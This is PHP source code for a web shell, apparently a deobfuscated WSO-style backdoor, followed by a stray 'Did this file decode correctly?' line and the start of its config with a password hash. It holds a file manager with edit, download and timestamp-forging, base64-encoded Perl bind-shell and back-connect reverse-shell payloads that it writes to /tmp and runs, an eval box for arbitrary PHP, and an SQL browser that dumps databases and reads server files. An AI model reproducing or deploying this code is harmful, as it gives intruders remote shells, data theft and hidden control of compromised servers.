<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
	$dirs = $files = array();
	$n = count($dirContent);
	for($i=0;$i<$n;$i++) {
		$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array('name' => $dirContent[$i],
					 'path' => $GLOBALS['cwd'].$dirContent[$i],
					 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
					 'perms' => sbvPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
					 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
					 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
					 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
					);
		if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
			$files[] = array_merge($tmp, array('type' => 'file'));
		elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
		elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'dir'));
	}
	$GLOBALS['sort'] = $sort;
	function sbvCmp($a, $b) {
		if($GLOBALS['sort'][0] != 'size')
			return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
		else
			return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
	}
	usort($files, "sbvCmp");
	usort($dirs, "sbvCmp");
	$files = array_merge($dirs, $files);
	$l = 0;
	foreach($files as $f) {
		echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?sbvViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
			.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
		$l = $l?0:1;
	}
	echo "<tr><td colspan=7>
	<input type=hidden name=ne value=''>
	<input type=hidden name=a value='FilesMan'>
	<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
	<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
	<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
    if(class_exists('ZipArchive'))
        echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
    echo "<option value='tar'>Compress (tar.gz)</option>";
    if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
        echo "<option value='paste'>Paste / Compress</option>";
    echo "</select>&nbsp;";
    if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
        echo "file name: <input type=text name=p2 value='sbv_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
    echo "<input type='submit' value='>>'></td></tr></form></table></div>";
	sbvFooter();
}
function actionFilesTools() {
	if( isset($_POST['p1']) )
		$_POST['p1'] = urldecode($_POST['p1']);
	if(@$_POST['p2']=='download') {
		if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
			ob_start("ob_gzhandler", 4096);
			header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
			if (function_exists("mime_content_type")) {
				$type = @mime_content_type($_POST['p1']);
				header("Content-Type: " . $type);
			} else
                header("Content-Type: application/octet-stream");
			$fp = @fopen($_POST['p1'], "r");
			if($fp) {
				while(!@feof($fp))
					echo @fread($fp, 1024);
				fclose($fp);
			}
		}exit;
	}
	if( @$_POST['p2'] == 'mkfile' ) {
		if(!file_exists($_POST['p1'])) {
			$fp = @fopen($_POST['p1'], 'w');
			if($fp) {
				$_POST['p2'] = "edit";
				fclose($fp);
			}
		}
	}
	sbvHeader();
	echo '<h1>File tools</h1><div class=content>';
	if( !file_exists(@$_POST['p1']) ) {
		echo 'File not exists';
		sbvFooter();
		return;
	}
	$uid = @posix_getpwuid(@fileowner($_POST['p1']));
	if(!$uid) {
		$uid['name'] = @fileowner($_POST['p1']);
		$gid['name'] = @filegroup($_POST['p1']);
	} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
	echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?sbvViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.sbvPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
	echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
	if( empty($_POST['p2']) )
		$_POST['p2'] = 'view';
	if( is_file($_POST['p1']) )
		$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
	else
		$m = array('Chmod', 'Rename', 'Touch');
	foreach($m as $v)
		echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
	echo '<br><br>';
	switch($_POST['p2']) {
		case 'view':
			echo '<pre class=ml1>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</pre>';
			break;
		case 'highlight':
			if( @is_readable($_POST['p1']) ) {
				echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
				$code = @highlight_file($_POST['p1'],true);
				echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
			}
			break;
		case 'chmod':
			if( !empty($_POST['p3']) ) {
				$perms = 0;
				for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
					$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
				if(!@chmod($_POST['p1'], $perms))
					echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
			break;
		case 'edit':
			if( !is_writable($_POST['p1'])) {
				echo 'File isn\'t writeable';
				break;
			}
			if( !empty($_POST['p3']) ) {
				$time = @filemtime($_POST['p1']);
				$_POST['p3'] = substr($_POST['p3'],1);
				$fp = @fopen($_POST['p1'],"w");
				if($fp) {
					@fwrite($fp,$_POST['p3']);
					@fclose($fp);
					echo 'Saved!<br><script>p3_="";</script>';
					@touch($_POST['p1'],$time,$time);
				}
			}
			echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</textarea><input type=submit value=">>"></form>';
			break;
		case 'hexdump':
			$c = @file_get_contents($_POST['p1']);
			$n = 0;
			$h = array('00000000<br>','','');
			$len = strlen($c);
			for ($i=0; $i<$len; ++$i) {
				$h[1] .= sprintf('%02X',ord($c[$i])).' ';
				switch ( ord($c[$i]) ) {
					case 0:  $h[2] .= ' '; break;
					case 9:  $h[2] .= ' '; break;
					case 10: $h[2] .= ' '; break;
					case 13: $h[2] .= ' '; break;
					default: $h[2] .= $c[$i]; break;
				}
				$n++;
				if ($n == 32) {
					$n = 0;
					if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
					$h[1] .= '<br>';
					$h[2] .= "n";
				}
		 	}
			echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
			break;
		case 'rename':
			if( !empty($_POST['p3']) ) {
				if(!@rename($_POST['p1'], $_POST['p3']))
					echo 'Can\'t rename!<br>';
				else
					die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
			}
			echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
			break;
		case 'touch':
			if( !empty($_POST['p3']) ) {
				$time = strtotime($_POST['p3']);
				if($time) {
					if(!touch($_POST['p1'],$time,$time))
						echo 'Fail!';
					else
						echo 'Touched!';
				} else echo 'Bad time format!';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
			break;
	}
	echo '</div>';
	sbvFooter();
} function actionNetwork() {
	sbvHeader();
	$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
	$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
	echo "<h1>Network tools</h1><div class=content>
	<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
	<span>Bind port to /bin/sh [perl]</span><br/>
	Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form>
	<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
	<span>Back-connect  [perl]</span><br/>
	Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form><br>";
	if(isset($_POST['p1'])) {
		function cf($f,$t) {
			$w = @fopen($f,"w") or @function_exists('file_put_contents');
			if($w){
				@fwrite($w,base64_decode($t));
				@fclose($w);
			}
		}
		if($_POST['p1'] == 'bpp') {
			cf("/tmp/bp.pl",$bind_port_p);
			$out = sbvEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
            sleep(1);
			echo "<pre class=ml1>$outn".sbvEx("ps aux | grep bp.pl")."</pre>";
            unlink("/tmp/bp.pl");
		}
		if($_POST['p1'] == 'bcp') {
			cf("/tmp/bc.pl",$back_connect_p);
			$out = sbvEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
            sleep(1);
			echo "<pre class=ml1>$outn".sbvEx("ps aux | grep bc.pl")."</pre>";
            unlink("/tmp/bc.pl");
		}
	}
	echo '</div>';
	sbvFooter();
} function actionPhp() {
	if(isset($_POST['ajax'])) {
        sbvsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
		ob_start();
		eval($_POST['p1']);
		$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\'") . "';
";
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST['ajax']) && !empty($_POST['p1']))
        sbvsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);

	sbvHeader();
	if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
		echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
		ob_start();
		phpinfo();
		$tmp = ob_get_clean();
        $tmp = preg_replace(array (
            '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
            '!td, th {(.*)}!msiU',
            '!<img[^>]+>!msiU',
        ), array (
            '',
            '.e, .v, .h, .h th {$1}',
            ''
        ), $tmp);
		echo str_replace('<h1','<h2', $tmp) .'</div><br>';
	}
    echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
	echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
	if(!empty($_POST['p1'])) {
		ob_start();
		eval($_POST['p1']);
		echo htmlspecialchars(ob_get_clean());
	}
	echo '</pre></div>';
	sbvFooter();
} function actionSql() {
	class DbClass {
		var $type;
		var $link;
		var $res;
		function DbClass($type)	{
			$this->type = $type;
		}
		function connect($host, $user, $pass, $dbname){
			switch($this->type)	{
				case 'mysql':
					if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
					break;
				case 'pgsql':
					$host = explode(':', $host);
					if(!$host[1]) $host[1]=5432;
					if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
					break;
			}
			return false;
		}
		function selectdb($db) {
			switch($this->type)	{
				case 'mysql':
					if (@mysql_select_db($db))return true;
					break;
			}
			return false;
		}
		function query($str) {
			switch($this->type) {
				case 'mysql':
					return $this->res = @mysql_query($str);
					break;
				case 'pgsql':
					return $this->res = @pg_query($this->link,$str);
					break;
			}
			return false;
		}
		function fetch() {
			$res = func_num_args()?func_get_arg(0):$this->res;
			switch($this->type)	{
				case 'mysql':
					return @mysql_fetch_assoc($res);
					break;
				case 'pgsql':
					return @pg_fetch_assoc($res);
					break;
			}
			return false;
		}
		function listDbs() {
			switch($this->type)	{
				case 'mysql':
                        return $this->query("SHOW databases");
				break;
				case 'pgsql':
					return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
				break;
			}
			return false;
		}
		function listTables() {
			switch($this->type)	{
				case 'mysql':
					return $this->res = $this->query('SHOW TABLES');
				break;
				case 'pgsql':
					return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
				break;
			}
			return false;
		}
		function error() {
			switch($this->type)	{
				case 'mysql':
					return @mysql_error();
				break;
				case 'pgsql':
					return @pg_last_error();
				break;
			}
			return false;
		}
		function setCharset($str) {
			switch($this->type)	{
				case 'mysql':
					if(function_exists('mysql_set_charset'))
						return @mysql_set_charset($str, $this->link);
					else
						$this->query('SET CHARSET '.$str);
					break;
				case 'pgsql':
					return @pg_set_client_encoding($this->link, $str);
					break;
			}
			return false;
		}
		function loadFile($str) {
			switch($this->type)	{
				case 'mysql':
					return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
				break;
				case 'pgsql':
					$this->query("CREATE TABLE sbv2(file text);COPY sbv2 FROM '".addslashes($str)."';select file from sbv2;");
					$r=array();
					while($i=$this->fetch())
						$r[] = $i['file'];
					$this->query('drop table sbv2');
					return array('file'=>implode("
",$r));
				break;
			}
			return false;
		}
		function dump($table, $fp = false) {
			switch($this->type)	{
				case 'mysql':
					$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
					$create = mysql_fetch_array($res);
					$sql = $create[1].";
";
                    if($fp) fwrite($fp, $sql); else echo($sql);
					$this->query('SELECT * FROM `'.$table.'`');
                    $i = 0;
                    $head = true;
					while($item = $this->fetch()) {
                        $sql = '';
                        if($i % 1000 == 0) {
                            $head = true;
                            $sql = ";

";
                        }

						$columns = array();
						foreach($item as $k=>$v) {
                            if($v === null)
                                $item[$k] = "NULL";
                            elseif(is_int($v))
                                $item[$k] = $v;
                            else
                                $item[$k] = "'".@mysql_real_escape_string($v)."'";
							$columns[] = "`".$k."`";
						}
                        if($head) {
                            $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES 
	(".implode(", ", $item).')';
                            $head = false;
                        } else
                            $sql .= "
	,(".implode(", ", $item).')';
                        if($fp) fwrite($fp, $sql); else echo($sql);
                        $i++;
					}
                    if(!$head)
                        if($fp) fwrite($fp, ";

"); else echo(";

");
				break;
				case 'pgsql':
					$this->query('SELECT * FROM '.$table);
					while($item = $this->fetch()) {
						$columns = array();
						foreach($item as $k=>$v) {
							$item[$k] = "'".addslashes($v)."'";
							$columns[] = $k;
						}
                        $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
                        if($fp) fwrite($fp, $sql); else echo($sql);
					}
				break;
			}
			return false;
		}
	};
	$db = new DbClass($_POST['type']);
	if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
		$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
		$db->selectdb($_POST['sql_base']);
        switch($_POST['charset']) {
            case "Windows-1251": $db->setCharset('cp1251'); break;
            case "UTF-8": $db->setCharset('utf8'); break;
            case "KOI8-R": $db->setCharset('koi8r'); break;
            case "KOI8-U": $db->setCharset('koi8u'); break;
            case "cp866": $db->setCharset('cp866'); break;
        }
        if(empty($_POST['file'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=dump.sql");
            header("Content-Type: text/plain");
            foreach($_POST['tbl'] as $v)
				$db->dump($v);
            exit;
        } elseif($fp = @fopen($_POST['file'], 'w')) {
            foreach($_POST['tbl'] as $v)
                $db->dump($v, $fp);
            fclose($fp);
            unset($_POST['p2']);
        } else
            die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
	}
	sbvHeader();
	echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=ne value=''><input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
    if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
	$tmp = "<input type=text name=sql_base value=''>";
	if(isset($_POST['sql_host'])){
		if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
			switch($_POST['charset']) {
				case "Windows-1251": $db->setCharset('cp1251'); break;
				case "UTF-8": $db->setCharset('utf8'); break;
				case "KOI8-R": $db->setCharset('koi8r'); break;
				case "KOI8-U": $db->setCharset('koi8u'); break;
				case "cp866": $db->setCharset('cp866'); break;
			}
			$db->listDbs();
			echo "<select name=sql_base><option value=''></option>";
			while($item = $db->fetch()) {
				list($key, $value) = each($item);
				echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
			}
			echo '</select>';
		}
		else echo $tmp;
	}else
		echo $tmp;
	echo "</td>
				<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
			</tr>
		</table>
		<script>
            s_db='".@addslashes($_POST['sql_base'])."';
            function fs(f) {
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                    if(f.p1) f.p1.value='';
                    if(f.p2) f.p2.value='';
                    if(f.p3) f.p3.value='';
                }
            }
			function st(t,l) {
				d.sf.p1.value = 'select';
				d.sf.p2.value = t;
                if(l && d.sf.p3) d.sf.p3.value = l;
				d.sf.submit();
			}
			function is() {
				for(i=0;i<d.sf.elements['tbl[]'].length;++i)
					d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
			}
		</script>";
	if(isset($db) && $db->link){
		echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
			if(!empty($_POST['sql_base'])){
				$db->selectdb($_POST['sql_base']);
				echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
				$tbls_res = $db->listTables();
				while($item = $db->fetch($tbls_res)) {
					list($key, $value) = each($item);
                    if(!empty($_POST['sql_count']))
                        $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
					$value = htmlspecialchars($value);
					echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
				}
				echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
				if(@$_POST['p1'] == 'select') {
					$_POST['p1'] = 'query';
                    $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
					$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
					$num = $db->fetch();
					$pages = ceil($num['n'] / 30);
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
                    echo " of $pages";
                    if($_POST['p3'] > 1)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
                    if($_POST['p3'] < $pages)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
                    $_POST['p3']--;
					if($_POST['type']=='pgsql')
						$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
					else
						$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
					echo "<br><br>";
				}
				if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
					$db->query(@$_POST['p2']);
					if($db->res !== false) {
						$title = false;
						echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
						$line = 1;
						while($item = $db->fetch())	{
							if(!$title)	{
								echo '<tr>';
								foreach($item as $key => $value)
									echo '<th>'.$key.'</th>';
								reset($item);
								$title=true;
								echo '</tr><tr>';
								$line = 2;
							}
							echo '<tr class="l'.$line.'">';
							$line = $line==1?2:1;
							foreach($item as $key => $value) {
								if($value == null)
									echo '<td><i>null</i></td>';
								else
									echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
							}
							echo '</tr>';
						}
						echo '</table>';
					} else {
						echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
					}
				}
				echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
                    echo htmlspecialchars($_POST['p2']);
                echo "</textarea><br/><input type=submit value='Execute'>";
				echo "</td></tr>";
			}
			echo "</table></form><br/>";
            if($_POST['type']=='mysql') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                if($db->fetch())
                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
            }
			if(@$_POST['p1'] == 'loadfile') {
				$file = $db->loadFile($_POST['p2']);
				echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
			}
	} else {
        echo htmlspecialchars($db->error());
    }
	echo '</div>';
	sbvFooter();
}if( empty($_POST['a']) )
	if(isset($default_action) && function_exists('action' . $default_action))
		$_POST['a'] = $default_action;
	else
		$_POST['a'] = 'FilesMan';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
	call_user_func('action' . $_POST['a']);
exit;

Did this file decode correctly?

Original Code

<?PHP
$auth_pass = "6d865d85813b1261953b3e79cdb04716";
$color = "#ddffff";
$default_use_ajax = true;
$default_charset = 'Windows-1251';
$default_action='FilesMan';
